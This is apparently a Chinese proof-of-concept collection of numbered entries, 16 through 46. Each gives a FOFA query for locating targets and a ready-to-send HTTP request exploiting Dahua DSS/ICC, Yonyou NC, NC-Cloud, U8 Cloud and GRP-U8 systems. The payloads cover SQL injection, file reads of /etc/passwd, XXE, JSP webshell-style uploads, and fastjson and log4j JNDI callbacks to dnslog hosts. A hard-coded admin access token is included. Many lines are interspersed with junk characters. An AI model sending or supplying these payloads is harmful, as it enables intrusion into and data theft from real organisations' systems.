* B" m+ j. r3 q- x# ZAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( l& q* S: {2 S2 A8 i/ U& C& TAccept-Language: en
9 l9 P+ e5 T0 }1 G3 \' Esec-ch-ua-platform: Windows
& e& C* @4 u1 |+ ?( U: D( ]Accept-Encoding: gzip

1 h" b: y, G) J
  C. }4 `) |0 n* b7 \8 W' b16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
& k& H* C. a/ o( Z+ X" x# Jpoc中调用函数计算1234的md5值
8 o: B, ]: J+ o5 B1 o; p) jGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
( U( c' v5 m! {! q3 p; V3 ~! N* XUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
! A/ N0 p2 t1 y) O: U  R# K% l& cAccept: */*
! S) P( p9 v7 R( o$ G  c+ LAccept-Language: en
4 e' T9 C6 f% NAccept-Encoding: gzip
0 P4 p! @$ z9 I* n2 d8 l
$ s' A4 Y9 l1 I0 ]0 z& u
17. 大华 DSS itcBulletin SQL 注入
& ?. k1 G% s$ k2 N7 U7 eFOFA：app="dahua-DSS"
+ k9 c' t9 Z9 a4 O+ FPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ \; S0 O  z! |: `Connection: close
Content-Length: 345
Accept-Encoding: gzip
/ t" _7 k! j) M6 C
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
6 u) _) ^) v3 g- C  Y. z<s11:Body>
2 }! R+ R3 u; D3 P1 C    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
" ?5 G5 g/ S" r( m4 U! w4 \      <netMarkings>
+ B2 [6 n7 L! q  `       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
7 `7 O/ G3 K8 r0 t+ f9 @6 p, A    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


# m" d( ^7 _7 M. N5 ]+ G  F& h18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
$ @$ h( x# G7 b5 b0 cFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
- [/ [: O' _: RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
% @) {3 m: J- G' I! NAccept: */*
Connection: keep-alive



! k4 {# I5 h4 m% H- t( s19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
9 K1 D3 ]7 J6 K. G& r& V6 G% p7 FFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
, g% ~2 p8 D; m- b8 u1 v, ?User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
6 c% i2 b1 R! c3 a% XAccept: */*
Connection: keep-alive
- ?6 ]. X# S" w8 r7 l5 H
7 R( n3 A' @. R9 {9 q/ D
20. 大华ICC智能物联综合管理平台任意文件读取
, v2 @) ~9 Q* m% M) p  M  ZFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
7 h' [7 F/ R5 ?7 |6 l: r7 [2 MUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
- v3 V/ n9 {6 t3 }Accept-Encoding: gzip

* w% j2 h  c1 v7 k( l' R' ?7 j
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 x# Q- {: N' h, c7 DContent-Length: 161
* W  U& P( r  ?6 N0 Q# GAccept-Encoding: gzip
! E/ [/ I( a5 Z3 ~* w, HConnection: close
Content-Type: application/json;charset=utf-8
5 v4 W) [/ m0 E6 d; R$ O
# x7 g  G3 ]8 {0 ^. L; _4 U5 s6 q& U$ }{
8 Y0 P, W0 H6 P+ S"a":{
( }  B$ e4 b7 X8 ^   "@type":"com.alibaba.fastjson.JSONObject",
4 f* I# c: i: p8 C4 D    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
3 R' O! D* W# \$ Z5 u  }""
}


9 `2 J' w/ t* |  W  q7 Q: y! P22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
+ v- ?2 R8 J- x2 i( U% H8 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
; T( B+ J- M9 {1 g- ^& JContent-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
# D' ]3 k' T7 m0 y}
! i% m( G) y0 ?. p  @+ _9 R* M
" `/ [/ [# w2 Q" G
+ l; b* o$ S) E1 T7 ~. A; x
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
/ e0 L, H" N0 j( ?! R/ w3 p- B! YFOFA：icon_hash="-1935899595"
- z" E' L" Z  ]# F% J# G) GPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# y- ~8 `7 \( \7 _$ \Host: your-ip
9 p& \1 z3 {: r) nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# [4 p1 ^  S) C) }0 p0 W$ HContent-Type: application/json;charset=utf-8
' c# u& q( G- o5 x) ]Accept-Encoding: gzip
Connection: close

2 n( Y0 Y# F) h) P{
# @) s1 M' j/ E8 f% g- [! M0 n    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
; J/ T' V1 T; ~6 @3 y        }""
# i5 y7 f: s1 ~% H4 X9 n}


24. 用友NC 6.5 accept.jsp任意文件上传
- J0 J( L) r, t% {6 W+ AFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
% p# w, \4 B# [6 V8 WHost: x.x.x.x
# f# U4 @8 |# v2 O( rUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
$ Z9 v# |" ~# aContent-Length: 449
Accept: */*
6 V$ Z2 s- H# h# eAccept-Encoding: gzip
( C& h: a# i1 w8 S. `Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

- {- G& K' {% v8 z2 Z0 \" b1 P9 b-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  H6 z8 J9 f9 t6 s$ Q3 s( nContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
) v) Q. U8 P1 r3 l; n, h; U/ d) l
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

/ F0 l+ f, H  f: J! H0 o\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

) ^7 P. z4 b* s: e" a- n
. s6 G# u2 A# ^25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
# F# x) I. ]* F  k9 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
; `7 P7 e- K6 V1 CAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
+ d6 C4 Z4 L8 i( ^! J' `Content-Type: application/x-www-form-urlencoded
5 ?+ s* E# s/ I. @5 @/ R
type=1&dsname=ldap://dnslog
: Z* N% u+ Q6 C
! _; x; y2 T! |3 X' f' R

" o/ C0 y& @' [2 N$ j/ D! V$ w26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 \7 Z. Y0 U! s; `- c3 z' f& sHost: your-ip
* Z8 k5 C! ]7 A9 P* EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
+ x$ r4 _. |& T0 jAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

6 H, W; [4 N6 p% K: w2 K- v
& I1 F7 N, B! O* e! i4 j% Z27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
7 R  {% B- N6 u- O. D& |GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
) [* |3 W) y* ?  x0 v7 n9 kHost: your-ip
) J% g, N+ J$ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
$ ^. L/ A; r, `1 ^* N" b! XConnection: close
3 I4 G3 X# m9 {% F+ sContent-Type: text/xml; charset=utf-8


, C$ s: w. V9 |* _* s9 ~# W* y! J, F28. 用友NC grouptemplet 任意文件上传
  k, T3 \9 X: W  e" A6 ?  G) LFOFA：icon_hash="1085941792"
# F- m; B/ o5 u. b5 P# EPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
7 X4 R, m$ l- W7 }Connection: close
8 c, Y/ `) f6 r1 lContent-Length: 268
/ r; n; e! v7 J9 R& _7 U. B. R3 LContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
+ e* [) O8 q: e# p/ d
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
& W! z; Y7 w+ Z8 d
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
3 c8 t' E( M2 A# @0 u/ V------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
7 W3 N( h* G& j! K1 y

5 R7 T  c; N! Y. j1 H$ G# h9 J/uapim/static/pages/nc/head.jsp
/ E6 g: A2 F* k& D" J: c
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
5 x9 t: R- Z  B2 H+ JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; T- i3 |5 Z4 S% A: n9 ^& nContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
3 n+ k7 }- ?7 q' \Accept: */*
# E$ O! `2 f' S* v. G5 |1 r  ~Connection: keep-alive
) x% {2 n, Q2 |/ I- I

30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
6 b' e  e% G! \8 ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
5 _# H& Y, A$ o' W4 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
; I/ u4 G. d' F0 {Connection: close
# T( n4 f2 O# S7 \& d, d. [$ C% E
/ F7 A: }% _! l  b, Y------WebKitFormBoundaryH970hbttBhoCyj9V
$ a$ ~, M1 Y$ o/ x5 R' J: BContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
" x4 g% v+ V9 W% k7 KContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

4 i2 K& ^3 o' y
6 C/ d% ]) i! ^$ k! R$ b7 I31. 用友NC runStateServlet SQL注入
( c; ?) @; q9 q; T4 |+ [4 ?version<=6.5
' i. L& d9 b1 Z2 PFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- _' `# ~- O7 M, r5 OHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; t& g2 a0 A  e+ d  \& d, E" zContent-Type: application/x-www-form-urlencoded

* u& J9 j6 d; n2 C
32. 用友NC complainbilldetail SQL注入
5 w2 f- Q  R5 Q4 u3 P7 g4 uversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ U3 S; C- k1 D5 F* HHost: your-ip
" K9 X5 }# D3 y6 h* }/ [8 K) m: D( NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
  Q+ V9 [, r" }: q$ ?. M# SConnection: keep-alive
  e. z7 }# f! y

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
1 D$ h; I: |- M  U0 [4 YGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
  c+ N, a5 g- ]Host: your-ip
7 S/ I# `* M/ J3 B/ _1 U7 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ i( v. U: M0 N0 ~0 F. CContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
7 `. n% x# @& f7 AAccept: */*
4 w% s. r& u. A' P; c& ]Connection: keep-alive
# H4 e! j5 t* y% C

; g& l1 z- c  d( U- g- E+ q$ B' Z0 U5 X34. 用友NC warningDetailInfo接口SQL注入
1 o5 A2 }( G- |4 CFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. t" O, q, C% v( C- xHost: your-ip
- H, [$ }9 z" SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 T. b: ]6 q$ \: ^% gAccept-Encoding: gzip, deflate
7 h/ T, K5 f# p# aAccept: */*
Connection: keep-alive
) c  E, W( h( s/ C. o8 R  D
6 }! n7 e. |* C8 Y- S* W" V* v
35. 用友NC-Cloud importhttpscer任意文件上传
$ k9 v4 n$ {# o# mFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
- ]. u$ O* F7 W7 d. F- e: [( U7 a! NHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 }; V* M9 q: M% r: r& n1 m2 G0 ?Accept-Encoding: gzip, deflate
) N1 {4 R( L2 g7 |" U4 A7 `4 XAccept: */*
Connection: close
. Q5 i) ?( ]9 j% O8 VaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
( F4 q$ a$ O: W) D  ?7 ^Content-Length: 190
( e* W, L" E, H. xContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
, f; z. w, c3 O8 P% d' g
  P2 t9 m  H7 C--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

4 w6 H0 e0 v# h8 ]! {, _' A<%out.println(1111*1111);%>
$ C* m3 P. X* r! ]* w1 n/ D: m+ Z--fd28cb44e829ed1c197ec3bc71748df0--

6 {, V3 L* E" C' c: o
36. 用友NC-Cloud soapFormat XXE
5 h% P3 ~" V" l& p/ ]FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
3 C& |. \' _2 `- p2 ~5 cHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
" d6 j) d5 `$ d1 r9 _9 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* Y/ X6 ], g2 R; Z4 J& O$ pConnection: close
Content-Type: application/x-www-form-urlencoded
# b9 Y8 ?' K% I; T* T7 k; hUpgrade-Insecure-Requests: 1

6 f! F$ M; X9 L5 Zmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


! q3 _: n* a# r6 Q4 K, ~3 c37. 用友NC-Cloud IUpdateService XXE
. Z0 r5 c* K& ?7 C) vFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
& K3 ?8 q! x/ i  MPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
! J/ k+ q, n& }! e  C* n3 ]Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
1 _4 z. q2 @$ X4 V0 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
! E# O& B' d7 {Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
% g9 G# h- d4 b; G+ f5 ?SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
* D  L) U0 h" Y4 C# A: d0 P% S
* F8 _" i- O: y! a/ V* o1 X<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
. u4 D$ I1 ~: M3 N% O<soapenv:Body>
1 t0 [+ v  s/ P<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
( ?1 \' {3 h% L. O9 t$ U2 J<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
# x  Z! G! N2 p- C3 X<xxx/>]]></iup:string>
</iup:getResult>
! A" f# g) L) x, P& ?</soapenv:Body>
0 f, D; R* G6 p</soapenv:Envelope>
6 e+ T: d$ n4 X2 `- e


  `5 H8 j$ i8 v' \; M" u- u7 f& [38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
  s$ z3 c8 f& }+ \/ iHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
" K  p! h: q/ S+ }4 o6 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
. b$ m! A/ C- B( \( H8 v1 z. h# rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
2 g( f# q7 x4 r$ h6 P
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


7 D( X. a! G7 ~# V  T39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
. U( ?  j: C9 PHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

$ ]/ r2 G- V+ Eusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

# @- @, ~9 R+ w3 s+ \$ K; Q
! ~1 Z  H6 [' q( w3 d- t1 ^40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
/ l, B) B0 n. M( `8 iPOST /service/XChangeServlet HTTP/1.1
: ]* f) k4 @2 ?$ sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

9 P: l1 R* Y- b; u! n2 [<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
5 i/ q0 A  I- M
4 j+ u( O; H7 W- S! ~
! n& Y9 \5 h$ U: H) I41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
" b! b# T) [+ S1 p) x0 oFOFA：app="用友-U8-Cloud"
3 ~( H* x, C, \* ~% L8 n  t, YGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
8 @. S4 V! m2 VAccept-Encoding: gzip
Connection: close
& ~7 H( S, i) _; m$ T# a/ u
4 K4 a1 ]7 M$ L7 y, {! ^: E
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
! R: i, q7 p; L" p/ B9 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
: d# \" ^6 b* K9 w
( o- `, R$ c$ ?PAYLOAD


! q" u( ?0 m& W' I+ {% ]6 l1 w$ Shttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

, X- J* \$ O! K( u7 S43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 p! s8 r, t. q% Y) T. o8 L) dFOFA：app="用友-GRP-U8"
- E9 ?0 m9 t& P# KPOST /services/userInfoWeb HTTP/1.1
8 e. D  v2 i! THost: your-ip
# Z7 k: @8 Y+ m4 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 i& {& z7 Q, h# o' E# SSOAPAction:
, b" U1 s" ~8 D" ]% xContent-Type: text/xml;charset=UTF-8
: p; ?- x$ V! N: l# U0 A3 M9 j
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
9 N! G+ t7 T/ t8 l- k; ?9 R" Q2 f   <soapenv:Header/>
, B) z  d1 ~  Y2 Q- o   <soapenv:Body>
2 ?7 U9 ^6 s" T; M1 M( [0 J      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
5 o' a: \" O' @( H3 P      </ser:getUserNameById>
; {( V6 A1 Q  S4 @   </soapenv:Body>
</soapenv:Envelope>

! B1 J. i! a0 S0 ]& P9 j1 F+ y# Y+ z
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ A+ u2 E; C* }3 B  U3 AFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
3 ~2 g7 O  A& U5 ?' Z  @* U/ KHost: your-ip
" o1 G  ^9 [" z3 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 j  o8 x+ W) ]. \# ~" J6 B( bConnection: close
5 B: |* g, ?+ U" t; K; f
; x! ]% M4 k7 S
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
  O/ A! z/ {4 C$ ]! p0 BPOST /ufgovbank HTTP/1.1
5 J- o2 J" N/ UHost: 192.168.40.130:222
4 L# f+ ^& a! g3 U# U& ?0 Y3 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
. U# @! {& S4 W/ N0 sConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ T: L  ?2 v1 O1 f. [& vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
. S+ Q7 V2 M6 v<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
( n7 [9 z2 f6 ~$ x
! k( _  y: K1 o2 H
2 j; ^( U4 L5 P5 k4 j4 }& I2 ~46. 用友GRP-U8 sqcxIndex.jsp SQL注入
6 `; `' A: v" g# vFOFA：app="用友-GRP-U8"
7 J7 F& R0 u0 K2 n' |GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
, r" P$ \3 a) W0 v+ Z; B/ THost: your-ip
